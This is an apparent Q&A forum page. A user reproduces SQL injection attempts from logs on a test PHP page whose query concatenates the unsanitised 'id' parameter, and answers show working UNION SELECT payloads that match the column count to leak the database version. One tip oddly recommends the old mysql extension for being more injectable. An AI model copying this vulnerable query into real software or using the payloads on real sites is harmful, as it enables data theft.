Question

I'm new here so I'll try to make my post as clear and readable as possible.

While browsing some site's log I came across some hacking attempts that I want to recreate/test in a closed server. I made a simple PHP web page that gets a variable named 'id' and without any filtering/validation use it in a query.

Relevant PHP code

$var = $_GET['id'];

echo $_GET['id'] . "<br>\n";

include ( "/var/www/dbconnect.php" );
$mysqli = new mysqli ( $db_host, $db_user, $db_password, "news" );
if ( $mysqli->connect_errno ) { echo "Failed to connect to MySQL: (" . $mysqli-   >connect_errno . ") " . $mysqli->connect_error; }

$query = "SELECT id, date, subject FROM news_table WHERE id=" . $var;
//$query = "SELECT id, date, subject FROM news_table WHERE id=250; DROP TABLE test;"; // This won't work because in PHP's implementation multiple statements are not allowed
if ( ! $result = $mysqli->query ( $query ) ) { echo "CALL failed: (" . $mysqli->errno . ") " . $mysqli->error; } else { }

Then I load the page using the following

testserver/test-files/test-mysql-vulnerability.php?id=362099999.1
union select unhex(hex(version())) -- 1=1

and get this result:

 CALL failed: (1222) The used SELECT statements have a different number
of columns

The hacker spent 5 minutes sending numerous combinations trying to break into our production server. My production server does not give any indication of success/failure like the error above.

My question is: Can the above hack work when the number of columns don't match? If so how?

tnx

Was it helpful?

Solution

As noted in the comments, don't do this.

To answer your question, though, union is useful in injections because it allows you to use an unrelated table in the output. The error you're seeing is because the original database query wanted a certain number and type of columns, and the injected query wanted only one. In this case we know that we need three columns (from the code), so we want the resultant SQL statement to be

SELECT id, date, subject FROM news_table WHERE id=3 union select 0, 0, unhex(hex(version())) --

(This may not work exactly depending on your data types and my ability to do this off the top of my head).

OTHER TIPS

SELECT id, 
       date, 
       subject 
FROM   news_table 
WHERE  id = 3 
UNION 
SELECT NULL                  AS id, 
       NULL                  AS date, 
       Unhex(Hex(Version())) AS subject 

also use mysql instead of mysqli as it is more prone to injections

Licensed under: CC-BY-SA with attribution
Not affiliated with StackOverflow
scroll top